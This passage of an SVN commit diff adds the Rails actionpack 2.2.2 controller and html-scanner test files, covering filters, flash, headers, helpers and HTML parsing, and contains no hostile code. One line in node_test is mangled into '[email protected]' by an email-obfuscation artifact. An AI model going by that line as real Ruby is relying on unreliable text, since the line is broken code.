+    assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_filters
+  end
+
+  def test_running_filters
+    assert_equal %w( wonderful_life ensure_login ), test_process(PrependingController).template.assigns["ran_filter"]
+  end
+
+  def test_running_filters_with_proc
+    assert test_process(ProcController).template.assigns["ran_proc_filter"]
+  end
+
+  def test_running_filters_with_implicit_proc
+    assert test_process(ImplicitProcController).template.assigns["ran_proc_filter"]
+  end
+
+  def test_running_filters_with_class
+    assert test_process(AuditController).template.assigns["was_audited"]
+  end
+
+  def test_running_anomolous_yet_valid_condition_filters
+    response = test_process(AnomolousYetValidConditionController)
+    assert_equal %w( ensure_login ), response.template.assigns["ran_filter"]
+    assert response.template.assigns["ran_class_filter"]
+    assert response.template.assigns["ran_proc_filter1"]
+    assert response.template.assigns["ran_proc_filter2"]
+
+    response = test_process(AnomolousYetValidConditionController, "show_without_filter")
+    assert_equal nil, response.template.assigns["ran_filter"]
+    assert !response.template.assigns["ran_class_filter"]
+    assert !response.template.assigns["ran_proc_filter1"]
+    assert !response.template.assigns["ran_proc_filter2"]
+  end
+
+  def test_running_conditional_options
+    response = test_process(ConditionalOptionsFilter)
+    assert_equal %w( ensure_login ), response.template.assigns["ran_filter"]
+  end
+
+  def test_running_collection_condition_filters
+    assert_equal %w( ensure_login ), test_process(ConditionalCollectionFilterController).template.assigns["ran_filter"]
+    assert_equal nil, test_process(ConditionalCollectionFilterController, "show_without_filter").template.assigns["ran_filter"]
+    assert_equal nil, test_process(ConditionalCollectionFilterController, "another_action").template.assigns["ran_filter"]
+  end
+
+  def test_running_only_condition_filters
+    assert_equal %w( ensure_login ), test_process(OnlyConditionSymController).template.assigns["ran_filter"]
+    assert_equal nil, test_process(OnlyConditionSymController, "show_without_filter").template.assigns["ran_filter"]
+
+    assert test_process(OnlyConditionProcController).template.assigns["ran_proc_filter"]
+    assert !test_process(OnlyConditionProcController, "show_without_filter").template.assigns["ran_proc_filter"]
+
+    assert test_process(OnlyConditionClassController).template.assigns["ran_class_filter"]
+    assert !test_process(OnlyConditionClassController, "show_without_filter").template.assigns["ran_class_filter"]
+  end
+
+  def test_running_except_condition_filters
+    assert_equal %w( ensure_login ), test_process(ExceptConditionSymController).template.assigns["ran_filter"]
+    assert_equal nil, test_process(ExceptConditionSymController, "show_without_filter").template.assigns["ran_filter"]
+
+    assert test_process(ExceptConditionProcController).template.assigns["ran_proc_filter"]
+    assert !test_process(ExceptConditionProcController, "show_without_filter").template.assigns["ran_proc_filter"]
+
+    assert test_process(ExceptConditionClassController).template.assigns["ran_class_filter"]
+    assert !test_process(ExceptConditionClassController, "show_without_filter").template.assigns["ran_class_filter"]
+  end
+
+  def test_running_before_and_after_condition_filters
+    assert_equal %w( ensure_login clean_up_tmp), test_process(BeforeAndAfterConditionController).template.assigns["ran_filter"]
+    assert_equal nil, test_process(BeforeAndAfterConditionController, "show_without_filter").template.assigns["ran_filter"]
+  end
+
+  def test_around_filter
+    controller = test_process(AroundFilterController)
+    assert controller.template.assigns["before_ran"]
+    assert controller.template.assigns["after_ran"]
+  end
+
+  def test_before_after_class_filter
+    controller = test_process(BeforeAfterClassFilterController)
+    assert controller.template.assigns["before_ran"]
+    assert controller.template.assigns["after_ran"]
+  end
+
+  def test_having_properties_in_around_filter
+    controller = test_process(AroundFilterController)
+    assert_equal "before and after", controller.template.assigns["execution_log"]
+  end
+
+  def test_prepending_and_appending_around_filter
+    controller = test_process(MixedFilterController)
+    assert_equal " before aroundfilter  before procfilter  before appended aroundfilter " +
+                 " after appended aroundfilter  after aroundfilter  after procfilter ",
+                 MixedFilterController.execution_log
+  end
+
+  def test_rendering_breaks_filtering_chain
+    response = test_process(RenderingController)
+    assert_equal "something else", response.body
+    assert !response.template.assigns["ran_action"]
+  end
+
+  def test_filters_with_mixed_specialization_run_in_order
+    assert_nothing_raised do
+      response = test_process(MixedSpecializationController, 'bar')
+      assert_equal 'bar', response.body
+    end
+
+    assert_nothing_raised do
+      response = test_process(MixedSpecializationController, 'foo')
+      assert_equal 'foo', response.body
+    end
+  end
+
+  def test_dynamic_dispatch
+    %w(foo bar baz).each do |action|
+      request = ActionController::TestRequest.new
+      request.query_parameters[:choose] = action
+      response = DynamicDispatchController.process(request, ActionController::TestResponse.new)
+      assert_equal action, response.body
+    end
+  end
+
+  def test_running_prepended_before_and_after_filter
+    assert_equal 3, PrependingBeforeAndAfterController.filter_chain.length
+    response = test_process(PrependingBeforeAndAfterController)
+    assert_equal %w( before_all between_before_all_and_after_all after_all ), response.template.assigns["ran_filter"]
+  end
+  
+  def test_skipping_and_limiting_controller
+    assert_equal %w( ensure_login ), test_process(SkippingAndLimitedController, "index").template.assigns["ran_filter"]
+    assert_nil test_process(SkippingAndLimitedController, "public").template.assigns["ran_filter"]
+  end
+
+  def test_skipping_and_reordering_controller
+    assert_equal %w( find_record ensure_login ), test_process(SkippingAndReorderingController, "index").template.assigns["ran_filter"]
+  end
+
+  def test_conditional_skipping_of_filters
+    assert_nil test_process(ConditionalSkippingController, "login").template.assigns["ran_filter"]
+    assert_equal %w( ensure_login find_user ), test_process(ConditionalSkippingController, "change_password").template.assigns["ran_filter"]
+
+    assert_nil test_process(ConditionalSkippingController, "login").template.controller.instance_variable_get("@ran_after_filter")
+    assert_equal %w( clean_up ), test_process(ConditionalSkippingController, "change_password").template.controller.instance_variable_get("@ran_after_filter")
+  end
+
+  def test_conditional_skipping_of_filters_when_parent_filter_is_also_conditional
+    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter']
+    assert_nil test_process(ChildOfConditionalParentController, 'another_action').template.assigns['ran_filter']
+  end
+
+  def test_condition_skipping_of_filters_when_siblings_also_have_conditions
+    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter'], "1"
+    assert_equal nil, test_process(AnotherChildOfConditionalParentController).template.assigns['ran_filter']
+    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter']
+  end
+
+  def test_changing_the_requirements
+    assert_equal nil, test_process(ChangingTheRequirementsController, "go_wild").template.assigns['ran_filter']
+  end
+
+  def test_a_rescuing_around_filter
+    response = nil
+    assert_nothing_raised do
+      response = test_process(RescuedController)
+    end
+
+    assert response.success?
+    assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
+  end
+
+  private
+    def test_process(controller, action = "show")
+      request = ActionController::TestRequest.new
+      request.action = action
+      controller.process(request, ActionController::TestResponse.new)
+    end
+end
+
+
+
+class PostsController < ActionController::Base
+  def rescue_action(e); raise e; end
+
+  module AroundExceptions
+    class Error < StandardError ; end
+    class Before < Error ; end
+    class After < Error ; end
+  end
+  include AroundExceptions
+
+  class DefaultFilter
+    include AroundExceptions
+  end
+
+  module_eval %w(raises_before raises_after raises_both no_raise no_filter).map { |action| "def #{action}; default_action end" }.join("\n")
+
+  private
+    def default_action
+      render :inline => "#{action_name} called"
+    end
+end
+
+class ControllerWithSymbolAsFilter < PostsController
+  around_filter :raise_before, :only => :raises_before
+  around_filter :raise_after, :only => :raises_after
+  around_filter :without_exception, :only => :no_raise
+
+  private
+    def raise_before
+      raise Before
+      yield
+    end
+
+    def raise_after
+      yield
+      raise After
+    end
+
+    def without_exception
+      # Do stuff...
+      1 + 1
+
+      yield
+
+      # Do stuff...
+      1 + 1
+    end
+end
+
+class ControllerWithFilterClass < PostsController
+  class YieldingFilter < DefaultFilter
+    def self.filter(controller)
+      yield
+      raise After
+    end
+  end
+
+  around_filter YieldingFilter, :only => :raises_after
+end
+
+class ControllerWithFilterInstance < PostsController
+  class YieldingFilter < DefaultFilter
+    def filter(controller)
+      yield
+      raise After
+    end
+  end
+
+  around_filter YieldingFilter.new, :only => :raises_after
+end
+
+class ControllerWithFilterMethod < PostsController
+  class YieldingFilter < DefaultFilter
+    def filter(controller)
+      yield
+      raise After
+    end
+  end
+
+  around_filter YieldingFilter.new.method(:filter), :only => :raises_after
+end
+
+class ControllerWithProcFilter < PostsController
+  around_filter(:only => :no_raise) do |c,b|
+    c.instance_variable_set(:"@before", true)
+    b.call
+    c.instance_variable_set(:"@after", true)
+  end
+end
+
+class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
+  around_filter :raise_before, :raise_after, :without_exception, :only => :raises_both
+end
+
+class ControllerWithAllTypesOfFilters < PostsController
+  before_filter :before
+  around_filter :around
+  after_filter :after
+  around_filter :around_again
+
+  private
+  def before
+    @ran_filter ||= []
+    @ran_filter << 'before'
+  end
+
+  def around
+    @ran_filter << 'around (before yield)'
+    yield
+    @ran_filter << 'around (after yield)'
+  end
+
+  def after
+    @ran_filter << 'after'
+  end
+
+  def around_again
+    @ran_filter << 'around_again (before yield)'
+    yield
+    @ran_filter << 'around_again (after yield)'
+  end
+end
+
+class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
+  skip_filter :around_again
+  skip_filter :after
+end
+
+class YieldingAroundFiltersTest < Test::Unit::TestCase
+  include PostsController::AroundExceptions
+
+  def test_filters_registering
+    assert_equal 1, ControllerWithFilterMethod.filter_chain.size
+    assert_equal 1, ControllerWithFilterClass.filter_chain.size
+    assert_equal 1, ControllerWithFilterInstance.filter_chain.size
+    assert_equal 3, ControllerWithSymbolAsFilter.filter_chain.size
+    assert_equal 6, ControllerWithNestedFilters.filter_chain.size
+    assert_equal 4, ControllerWithAllTypesOfFilters.filter_chain.size
+  end
+
+  def test_base
+    controller = PostsController
+    assert_nothing_raised { test_process(controller,'no_raise') }
+    assert_nothing_raised { test_process(controller,'raises_before') }
+    assert_nothing_raised { test_process(controller,'raises_after') }
+    assert_nothing_raised { test_process(controller,'no_filter') }
+  end
+
+  def test_with_symbol
+    controller = ControllerWithSymbolAsFilter
+    assert_nothing_raised { test_process(controller,'no_raise') }
+    assert_raise(Before) { test_process(controller,'raises_before') }
+    assert_raise(After) { test_process(controller,'raises_after') }
+    assert_nothing_raised { test_process(controller,'no_raise') }
+  end
+
+  def test_with_class
+    controller = ControllerWithFilterClass
+    assert_nothing_raised { test_process(controller,'no_raise') }
+    assert_raise(After) { test_process(controller,'raises_after') }
+  end
+
+  def test_with_instance
+    controller = ControllerWithFilterInstance
+    assert_nothing_raised { test_process(controller,'no_raise') }
+    assert_raise(After) { test_process(controller,'raises_after') }
+  end
+
+  def test_with_method
+    controller = ControllerWithFilterMethod
+    assert_nothing_raised { test_process(controller,'no_raise') }
+    assert_raise(After) { test_process(controller,'raises_after') }
+  end
+
+  def test_with_proc
+    controller = test_process(ControllerWithProcFilter,'no_raise')
+    assert controller.template.assigns['before']
+    assert controller.template.assigns['after']
+  end
+
+  def test_nested_filters
+    controller = ControllerWithNestedFilters
+    assert_nothing_raised do
+      begin
+        test_process(controller,'raises_both')
+      rescue Before, After
+      end
+    end
+    assert_raise Before do
+      begin
+        test_process(controller,'raises_both')
+      rescue After
+      end
+    end
+  end
+
+  def test_filter_order_with_all_filter_types
+    controller = test_process(ControllerWithAllTypesOfFilters,'no_raise')
+    assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) around (after yield) after',controller.template.assigns['ran_filter'].join(' ')
+  end
+
+  def test_filter_order_with_skip_filter_method
+    controller = test_process(ControllerWithTwoLessFilters,'no_raise')
+    assert_equal 'before around (before yield) around (after yield)',controller.template.assigns['ran_filter'].join(' ')
+  end
+
+  def test_first_filter_in_multiple_before_filter_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, 'fail_1')
+    assert_equal ' ', response.body
+    assert_equal 1, controller.instance_variable_get(:@try)
+    assert controller.instance_variable_get(:@before_filter_chain_aborted)
+  end
+
+  def test_second_filter_in_multiple_before_filter_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, 'fail_2')
+    assert_equal ' ', response.body
+    assert_equal 2, controller.instance_variable_get(:@try)
+    assert controller.instance_variable_get(:@before_filter_chain_aborted)
+  end
+
+  def test_last_filter_in_multiple_before_filter_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, 'fail_3')
+    assert_equal ' ', response.body
+    assert_equal 3, controller.instance_variable_get(:@try)
+    assert controller.instance_variable_get(:@before_filter_chain_aborted)
+  end
+
+  protected
+    def test_process(controller, action = "show")
+      request = ActionController::TestRequest.new
+      request.action = action
+      controller.process(request, ActionController::TestResponse.new)
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/flash_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/flash_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/flash_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,146 @@
+require 'abstract_unit'
+
+class FlashTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    def set_flash
+      flash["that"] = "hello"
+      render :inline => "hello"
+    end
+
+    def set_flash_now
+      flash.now["that"] = "hello"
+      flash.now["foo"] ||= "bar"
+      flash.now["foo"] ||= "err"
+      @flashy = flash.now["that"]
+      @flash_copy = {}.update flash
+      render :inline => "hello"
+    end
+
+    def attempt_to_use_flash_now
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      render :inline => "hello"
+    end
+
+    def use_flash
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      render :inline => "hello"
+    end
+
+    def use_flash_and_keep_it
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      flash.keep
+      render :inline => "hello"
+    end
+    
+    def use_flash_and_update_it
+      flash.update("this" => "hello again")
+      @flash_copy = {}.update flash
+      render :inline => "hello"
+    end
+
+    def use_flash_after_reset_session
+      flash["that"] = "hello"
+      @flashy_that = flash["that"]
+      reset_session
+      @flashy_that_reset = flash["that"]
+      flash["this"] = "good-bye"
+      @flashy_this = flash["this"]
+      render :inline => "hello"
+    end
+
+    def rescue_action(e)
+      raise unless ActionView::MissingTemplate === e
+    end
+
+    # methods for test_sweep_after_halted_filter_chain
+    before_filter :halt_and_redir, :only => "filter_halting_action"
+
+    def std_action
+      @flash_copy = {}.update(flash)
+    end
+
+    def filter_halting_action
+      @flash_copy = {}.update(flash)
+    end
+
+    def halt_and_redir
+      flash["foo"] = "bar"
+      redirect_to :action => "std_action"
+      @flash_copy = {}.update(flash)
+    end
+  end
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TestController.new
+  end
+
+  def test_flash
+    get :set_flash
+
+    get :use_flash
+    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
+    assert_equal "hello", @response.template.assigns["flashy"]
+
+    get :use_flash
+    assert_nil @response.template.assigns["flash_copy"]["that"], "On second flash"
+  end
+
+  def test_keep_flash
+    get :set_flash
+    
+    get :use_flash_and_keep_it
+    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
+    assert_equal "hello", @response.template.assigns["flashy"]
+
+    get :use_flash
+    assert_equal "hello", @response.template.assigns["flash_copy"]["that"], "On second flash"
+
+    get :use_flash
+    assert_nil @response.template.assigns["flash_copy"]["that"], "On third flash"
+  end
+  
+  def test_flash_now
+    get :set_flash_now
+    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
+    assert_equal "bar"  , @response.template.assigns["flash_copy"]["foo"]
+    assert_equal "hello", @response.template.assigns["flashy"]
+
+    get :attempt_to_use_flash_now
+    assert_nil @response.template.assigns["flash_copy"]["that"]
+    assert_nil @response.template.assigns["flash_copy"]["foo"]
+    assert_nil @response.template.assigns["flashy"]
+  end 
+  
+  def test_update_flash
+    get :set_flash
+    get :use_flash_and_update_it
+    assert_equal "hello",       @response.template.assigns["flash_copy"]["that"]
+    assert_equal "hello again", @response.template.assigns["flash_copy"]["this"]
+    get :use_flash
+    assert_nil                  @response.template.assigns["flash_copy"]["that"], "On second flash"
+    assert_equal "hello again", @response.template.assigns["flash_copy"]["this"], "On second flash"
+  end
+  
+  def test_flash_after_reset_session
+    get :use_flash_after_reset_session
+    assert_equal "hello",    @response.template.assigns["flashy_that"]
+    assert_equal "good-bye", @response.template.assigns["flashy_this"]
+    assert_nil   @response.template.assigns["flashy_that_reset"]
+  end 
+
+  def test_sweep_after_halted_filter_chain
+    get :std_action
+    assert_nil @response.template.assigns["flash_copy"]["foo"]
+    get :filter_halting_action
+    assert_equal "bar", @response.template.assigns["flash_copy"]["foo"]
+    get :std_action # follow redirection
+    assert_equal "bar", @response.template.assigns["flash_copy"]["foo"]
+    get :std_action
+    assert_nil @response.template.assigns["flash_copy"]["foo"]
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/header_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/header_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/header_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+require 'abstract_unit'
+
+class HeaderTest < Test::Unit::TestCase
+  def setup
+    @headers = ActionController::Http::Headers.new("HTTP_CONTENT_TYPE"=>"text/plain")
+  end
+  
+  def test_content_type_works
+    assert_equal "text/plain", @headers["Content-Type"]
+    assert_equal "text/plain", @headers["content-type"]
+    assert_equal "text/plain", @headers["CONTENT_TYPE"]
+    assert_equal "text/plain", @headers["HTTP_CONTENT_TYPE"]    
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,210 @@
+require 'abstract_unit'
+
+ActionController::Helpers::HELPERS_DIR.replace File.dirname(__FILE__) + '/../fixtures/helpers'
+
+class TestController < ActionController::Base
+  attr_accessor :delegate_attr
+  def delegate_method() end
+  def rescue_action(e) raise end
+end
+
+module Fun
+  class GamesController < ActionController::Base
+    def render_hello_world
+      render :inline => "hello: <%= stratego %>"
+    end
+
+    def rescue_action(e) raise end
+  end
+
+  class PdfController < ActionController::Base
+    def test
+      render :inline => "test: <%= foobar %>"
+    end
+
+    def rescue_action(e) raise end
+  end
+end
+
+class ApplicationController < ActionController::Base
+  helper :all
+end
+
+module LocalAbcHelper
+  def a() end
+  def b() end
+  def c() end
+end
+
+class HelperTest < Test::Unit::TestCase
+  def setup
+    # Increment symbol counter.
+    @symbol = (@@counter ||= 'A0').succ!.dup
+
+    # Generate new controller class.
+    controller_class_name = "Helper#{@symbol}Controller"
+    eval("class #{controller_class_name} < TestController; end")
+    @controller_class = self.class.const_get(controller_class_name)
+
+    # Set default test helper.
+    self.test_helper = LocalAbcHelper
+  end
+  
+  def test_deprecated_helper
+    assert_equal expected_helper_methods, missing_methods
+    assert_nothing_raised { @controller_class.helper TestHelper }
+    assert_equal [], missing_methods
+  end
+
+  def test_declare_helper
+    require 'abc_helper'
+    self.test_helper = AbcHelper
+    assert_equal expected_helper_methods, missing_methods
+    assert_nothing_raised { @controller_class.helper :abc }
+    assert_equal [], missing_methods
+  end
+
+  def test_declare_missing_helper
+    assert_equal expected_helper_methods, missing_methods
+    assert_raise(MissingSourceFile) { @controller_class.helper :missing }
+  end
+
+  def test_declare_missing_file_from_helper
+    require 'broken_helper'
+  rescue LoadError => e
+    assert_nil(/\bbroken_helper\b/.match(e.to_s)[1])
+  end
+
+  def test_helper_block
+    assert_nothing_raised {
+      @controller_class.helper { def block_helper_method; end }
+    }
+    assert master_helper_methods.include?('block_helper_method')
+  end
+
+  def test_helper_block_include
+    assert_equal expected_helper_methods, missing_methods
+    assert_nothing_raised {
+      @controller_class.helper { include HelperTest::TestHelper }
+    }
+    assert [], missing_methods
+  end
+
+  def test_helper_method
+    assert_nothing_raised { @controller_class.helper_method :delegate_method }
+    assert master_helper_methods.include?('delegate_method')
+  end
+
+  def test_helper_attr
+    assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
+    assert master_helper_methods.include?('delegate_attr')
+    assert master_helper_methods.include?('delegate_attr=')
+  end
+
+  def test_helper_for_nested_controller
+    request  = ActionController::TestRequest.new
+    response = ActionController::TestResponse.new
+    request.action = 'render_hello_world'
+
+    assert_equal 'hello: Iz guuut!', Fun::GamesController.process(request, response).body
+  end
+
+  def test_helper_for_acronym_controller
+    request  = ActionController::TestRequest.new
+    response = ActionController::TestResponse.new
+    request.action = 'test'
+
+    assert_equal 'test: baz', Fun::PdfController.process(request, response).body
+  end
+
+  def test_all_helpers
+    methods = ApplicationController.master_helper_module.instance_methods.map(&:to_s)
+
+    # abc_helper.rb
+    assert methods.include?('bare_a')
+
+    # fun/games_helper.rb
+    assert methods.include?('stratego')
+
+    # fun/pdf_helper.rb
+    assert methods.include?('foobar')
+  end
+
+  def test_helper_proxy
+    methods = ApplicationController.helpers.methods.map(&:to_s)
+
+    # ActionView
+    assert methods.include?('pluralize')
+
+    # abc_helper.rb
+    assert methods.include?('bare_a')
+
+    # fun/games_helper.rb
+    assert methods.include?('stratego')
+
+    # fun/pdf_helper.rb
+    assert methods.include?('foobar')
+  end
+
+  private
+    def expected_helper_methods
+      TestHelper.instance_methods.map(&:to_s)
+    end
+
+    def master_helper_methods
+      @controller_class.master_helper_module.instance_methods.map(&:to_s)
+    end
+
+    def missing_methods
+      expected_helper_methods - master_helper_methods
+    end
+
+    def test_helper=(helper_module)
+      silence_warnings { self.class.const_set('TestHelper', helper_module) }
+    end
+end
+
+
+class IsolatedHelpersTest < Test::Unit::TestCase
+  class A < ActionController::Base
+    def index
+      render :inline => '<%= shout %>'
+    end
+
+    def rescue_action(e) raise end
+  end
+
+  class B < A
+    helper { def shout; 'B' end }
+
+    def index
+      render :inline => '<%= shout %>'
+    end
+  end
+
+  class C < A
+    helper { def shout; 'C' end }
+
+    def index
+      render :inline => '<%= shout %>'
+    end
+  end
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @request.action = 'index'
+  end
+
+  def test_helper_in_a
+    assert_raise(NameError) { A.process(@request, @response) }
+  end
+
+  def test_helper_in_b
+    assert_equal 'B', B.process(@request, @response).body
+  end
+
+  def test_helper_in_c
+    assert_equal 'C', C.process(@request, @response).body
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/cdata_node_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/cdata_node_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/cdata_node_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+require 'abstract_unit'
+
+class CDATANodeTest < Test::Unit::TestCase
+  def setup
+    @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
+  end
+
+  def test_to_s
+    assert_equal "<![CDATA[<p>howdy</p>]]>", @node.to_s
+  end
+
+  def test_content
+    assert_equal "<p>howdy</p>", @node.content
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/document_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/document_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/document_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,148 @@
+require 'abstract_unit'
+
+class DocumentTest < Test::Unit::TestCase
+  def test_handle_doctype
+    doc = nil
+    assert_nothing_raised do
+      doc = HTML::Document.new <<-HTML.strip
+        <!DOCTYPE "blah" "blah" "blah">
+        <html>
+        </html>
+      HTML
+    end
+    assert_equal 3, doc.root.children.length
+    assert_equal %{<!DOCTYPE "blah" "blah" "blah">}, doc.root.children[0].content
+    assert_match %r{\s+}m, doc.root.children[1].content
+    assert_equal "html", doc.root.children[2].name
+  end
+  
+  def test_find_img
+    doc = HTML::Document.new <<-HTML.strip
+      <html>
+        <body>
+          <p><img src="hello.gif"></p>
+        </body>
+      </html>
+    HTML
+    assert doc.find(:tag=>"img", :attributes=>{"src"=>"hello.gif"})
+  end
+
+  def test_find_all
+    doc = HTML::Document.new <<-HTML.strip
+      <html>
+        <body>
+          <p class="test"><img src="hello.gif"></p>
+          <div class="foo">
+            <p class="test">something</p>
+            <p>here is <em class="test">more</em></p>
+          </div>
+        </body>
+      </html>
+    HTML
+    all = doc.find_all :attributes => { :class => "test" }
+    assert_equal 3, all.length
+    assert_equal [ "p", "p", "em" ], all.map { |n| n.name }
+  end
+
+  def test_find_with_text
+    doc = HTML::Document.new <<-HTML.strip
+      <html>
+        <body>
+          <p>Some text</p>
+        </body>
+      </html>
+    HTML
+    assert doc.find(:content => "Some text")
+    assert doc.find(:tag => "p", :child => { :content => "Some text" })
+    assert doc.find(:tag => "p", :child => "Some text")
+    assert doc.find(:tag => "p", :content => "Some text")
+  end
+
+  def test_parse_xml
+    assert_nothing_raised { HTML::Document.new("<tags><tag/></tags>", true, true) }
+    assert_nothing_raised { HTML::Document.new("<outer><link>something</link></outer>", true, true) }
+  end
+
+  def test_parse_document
+    doc = HTML::Document.new(<<-HTML)
+      <div>
+        <h2>blah</h2>
+        <table>
+        </table>
+      </div>
+    HTML
+    assert_not_nil doc.find(:tag => "div", :children => { :count => 1, :only => { :tag => "table" } })
+  end
+
+  def test_tag_nesting_nothing_to_s
+    doc = HTML::Document.new("<tag></tag>")
+    assert_equal "<tag></tag>", doc.root.to_s
+  end
+
+  def test_tag_nesting_space_to_s
+    doc = HTML::Document.new("<tag> </tag>")
+    assert_equal "<tag> </tag>", doc.root.to_s
+  end
+
+  def test_tag_nesting_text_to_s
+    doc = HTML::Document.new("<tag>text</tag>")
+    assert_equal "<tag>text</tag>", doc.root.to_s
+  end
+
+  def test_tag_nesting_tag_to_s
+    doc = HTML::Document.new("<tag><nested /></tag>")
+    assert_equal "<tag><nested /></tag>", doc.root.to_s
+  end
+
+  def test_parse_cdata
+    doc = HTML::Document.new(<<-HTML)
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+  <head>
+    <title><![CDATA[<br>]]></title>
+   </head>
+  <body>
+    <p>this document has &lt;br&gt; for a title</p>
+  </body>
+</html>
+HTML
+
+    assert_nil doc.find(:tag => "title", :descendant => { :tag => "br" })
+    assert doc.find(:tag => "title", :child => "<br>")
+  end
+
+  def test_find_empty_tag
+    doc = HTML::Document.new("<div id='map'></div>")
+    assert_nil doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /./)
+    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /\A\Z/)
+    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /^$/)
+    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => "")
+    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => nil)
+  end
+
+  def test_parse_invalid_document
+    assert_nothing_raised do
+      doc = HTML::Document.new("<html>
+        <table>
+          <tr>
+            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
+          </tr>
+        </table>
+      </html>")
+    end
+  end
+
+  def test_invalid_document_raises_exception_when_strict
+    assert_raises RuntimeError do
+      doc = HTML::Document.new("<html>
+        <table>
+          <tr>
+            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
+          </tr>
+        </table>
+      </html>", true)
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/node_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/node_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/node_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,89 @@
+require 'abstract_unit'
+
+class NodeTest < Test::Unit::TestCase
+  
+  class MockNode
+    def initialize(matched, value)
+      @matched = matched
+      @value = value
+    end
+    
+    def find(conditions)
+      @matched && self
+    end
+    
+    def to_s
+      @value.to_s
+    end
+  end
+  
+  def setup
+    @node = HTML::Node.new("parent")
+    @node.children.concat [MockNode.new(false,1), MockNode.new(true,"two"), MockNode.new(false,:three)]
+  end
+  
+  def test_match
+    assert [email protected]("foo")
+  end
+  
+  def test_tag
